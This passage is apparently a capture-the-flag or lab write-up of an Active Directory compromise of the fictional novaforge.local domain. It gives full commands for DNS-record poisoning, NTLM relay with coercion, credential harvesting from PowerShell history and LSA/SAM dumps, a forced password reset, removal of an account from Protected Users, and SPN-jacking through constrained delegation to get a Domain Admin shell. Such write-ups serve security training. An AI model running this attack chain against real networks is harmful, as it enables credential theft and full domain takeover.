The user `daniel.brooks` we already compromised is a member of the novaforge dns operaions group, which might allows us to create and modify DNS entries in the domain's zone.

We could abuse this by adding a DNS record that points a chosen hostname at our attacker-controlled machine, so that when a victim resolves and connects to that name, their authentication is coerced toward us.

<figure><img src="/files/3Ojcx2ueLJDCcYGG8AoQ" alt=""><figcaption></figcaption></figure>

As `daniel.brooks`, who holds DNS write permissions in NovaForge, we abuse this to add a crafted DNS A record that points to our machine:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u daniel.brooks -p 'Pwned123@!' add dnsRecord --dnstype A localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.211.2
```

{% endcode %}

<figure><img src="/files/ui0IBbSeuUOptoplkoJ7" alt=""><figcaption></figcaption></figure>

Next, we set up an NTLM relay listener, configured to forward any captured authentication onward to the SMB service on the storage host.

{% code overflow="wrap" expandable="true" %}

```
impacket-ntlmrelayx -smb2support -t smb://storage.novaforge.local
```

{% endcode %}

<figure><img src="/files/mHZzeBgU2IK7NafPkzDF" alt=""><figcaption></figcaption></figure>

To trigger the authentication, we use NetExecs's `coerce_plus` module against the storage host, supplying the encoded DNS record we planted as the listener target so the coerced machine authenticates toward our relay.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u ryan.collins -p 'Pwned123@!' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ALWAYS=true
```

{% endcode %}

<figure><img src="/files/u9bE4BSYXnGVFLANrlCK" alt=""><figcaption></figcaption></figure>

After a short delay we are able to retrieve the local Administrators hash.

{% hint style="info" %}
This might take a second or thrid attempt.
{% endhint %}

<figure><img src="/files/8pEMYO7YJbeZyF2au6aK" alt=""><figcaption></figcaption></figure>

We have now access to the storage as the local Administrator.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i storage.novaforge.local -u Administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/5GMdeFHPVXdoS4zsrhKi" alt=""><figcaption></figcaption></figure>

## Access as david.cokx

From there we are able to find the credentials of the user `david.cokx` in the powershell command line history.

```
cat ConsoleHost_history.txt
```

<figure><img src="/files/mzxJyO0auAD4aEgZ0i4t" alt=""><figcaption></figcaption></figure>

We test the credentails of `david.cokx` using NetExec and successfully authenticate against the storage machine.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u david.cokx -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/M7iyMg3YffqabT6hofUt" alt=""><figcaption></figcaption></figure>

We look up the user in our BloodHound data and see that this user has the permission to add members to the Protected Users group, which also allows removing those users from the group. The Protected Users group is a special protective security group that applies additional hardening to its members... such as disabling NTLM authentication, blocking weaker Kerberos encryptio, and preventing credential delegation and caching to make those accounts harder to compromise. This might come in handy later.

<figure><img src="/files/BuIJCpBXRaJsI0Kk2agD" alt=""><figcaption></figcaption></figure>

## Access as frank.white

Using the Administrator hash we obtained, we dump the host's local secrets and credentials via LSA and SAM to harvest additional hashes for further access. We are able to retrieve the credentials of the user `frank.white`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u Administrator -H 'REDACTED' --lsa --sam
```

{% endcode %}

<figure><img src="/files/ywgmBU2UTtzcl1qRVNA8" alt=""><figcaption></figcaption></figure>

We test the credentails of `frank.white` using NetExec and successfully authenticate against the storage machine.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u frank.white -p '1hatefrank' --shares
```

{% endcode %}

<figure><img src="/files/McKI2PuzElWRbJ5evJ0E" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration III

We'll look up `frank.white` in our Bloodhound data and see that the user holds the`ForceChangePassword` permission over `svc_it_admin`, which allows the account's password to be reset.

<figure><img src="/files/ta7J7J9Sdxbs191xstWD" alt=""><figcaption></figcaption></figure>

When we query for the Shortest Path to Domain Admins, the BloodHound data shows that `svc_it_admin` holds WriteSPN over `dc.novaforge.local`, which allows the account's Service Principal Names to be modified.

<figure><img src="/files/eP8R4nOoAqGTWAHFzQSl" alt=""><figcaption></figcaption></figure>

## Access as svc\_it\_admin

As `frank.white`, we abuse our ForceChangePassword right over `svc_it_admin` to reset the account's password.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u frank.white -p 'REDACTED' set password 'svc_it_admin' 'Pwned123@!' 
```

{% endcode %}

<figure><img src="/files/BncHcawDluAd3NjNwlwO" alt=""><figcaption></figcaption></figure>

We try to authenticate agains SMB using NetExec as `svc_it_admin` after changing its password, but without success.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u svc_it_admin -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/noC1olmOr2hBhnhaJfs3" alt=""><figcaption></figcaption></figure>

The user is member of the `protected users` group.

<figure><img src="/files/HDnSMFgrjkDFmvolyNSc" alt=""><figcaption></figcaption></figure>

We recall that we can remove members from those group with the compromisd user `david.cokx`.

<figure><img src="/files/UHVp0qohYLJDmcrPDcWg" alt=""><figcaption></figcaption></figure>

As `david.cook`, we abuse our permission over the Protected Users group to remove `svc_it_admin` from it.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u david.cokx -p 'REDACTED' remove groupMember 'Protected Users' 'svc_it_admin'
```

{% endcode %}

Now we are able to authenticate as `svc_it_admin`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u svc_it_admin -p 'Pwned123@!' --shares 
```

{% endcode %}

<figure><img src="/files/BYLp5PHMNd3zBoP7q7Wf" alt=""><figcaption></figcaption></figure>

## Shell as Domain Admin

Now we recall the WriteSPN permission over `dc.novaforge.local` as `svc_it_admin`.

The BloodHound data reveals an SPN-jacking opportunity built on Kerberos Constrained Delegation combined with DACL abuse.

The account `svc_it_admin` holds WriteSPN over `storage.novaforge.local`, which allows the listed SPN to be cleared from its original owner (a "live SPN-jacking"). `svc_it_admin` also holds `WriteSPN` over `dc.novaforge.local`, which allows that same SPN to be moved onto the Domain Controller object. By relocating the delegated SPN onto the DC and then impersonating a privileged user through the delegation, control of `dc.novaforge.local` can be obtained to become Domain Admin.

The account we control `svc_it_admin` is configured with constrained delegation and is `AllowedToDelegate` to `storage.novaforge.local`, meaning a storage SPN is listed in its `msDS-AllowedToDelegateTo` attribute. In SPN-jacking terms, `svc_it_admin` is the KCD service (serverA), `storage.novaforge.local` is the listed SPN owner (serverB), and `dc.novaforge.local` is the final target (serverC).

See <https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking>

<figure><img src="/files/dzdtoQKbRCFF4r4wEpj5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ppK2Z40zzRv16sdpuaL1" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/spn-jacking>" %}

First, we clear the SPN from the `STORAGE$` machine account to free it up for relocation (the "live SPN-jacking" step):

{% code overflow="wrap" expandable="true" %}

```
addspn.py --clear -t 'STORAGE$' -u 'novaforge.local\svc_it_admin' -p 'Pwned123@!' DC.novaforge.local
```

{% endcode %}

<figure><img src="/files/9jiU7lKm6k9imMmjljFU" alt=""><figcaption></figcaption></figure>

Next, we add that same SPN onto the `DC$` machine account, effectively jacking the SPN over to the Domain Controller:

{% code overflow="wrap" expandable="true" %}

```
addspn.py -t 'DC$' --spn 'cifs/STORAGE.novaforge.local' -u 'novaforge.local\svc_it_admin' -p 'Pwned123@!' DC.novaforge.local
```

{% endcode %}

<figure><img src="/files/Mkb3nA1xD8Frjnkcj2F1" alt=""><figcaption></figcaption></figure>

We then leverage the constrained delegation on `svc_it_admin` to request a service ticket, impersonating the `Administrator` user via S4U2self and S4U2proxy, while using the `altservice` option to retarget the resulting ticket to the CIFS service on the DC:

{% code overflow="wrap" expandable="true" %}

```
getST.py -spn 'cifs/STORAGE.novaforge.local' -impersonate Administrator 'novaforge.local/svc_it_admin:Pwned123@!' -altservice 'CIFS/DC.novaforge.local'
```

{% endcode %}

<figure><img src="/files/RZ5cysalv2W6o4jeKnqA" alt=""><figcaption></figcaption></figure>

We export the resulting Kerberos ticket into our session so it can be used for authentication and use the impersonated ticket to authenticate to the Domain Controller via Pass-the-Ticket to obtain a SYSTEM shell as `Administrator`. From there we find the final flag at `C:\Users\Administrator\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=Administrator@CIFS_DC.novaforge.local@NOVAFORGE.LOCAL.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
psexec.py -k -no-pass DC.novaforge.local
```

{% endcode %}

<figure><img src="/files/fBypraeu00Cpylf9RO8a" alt=""><figcaption></figcaption></figure>
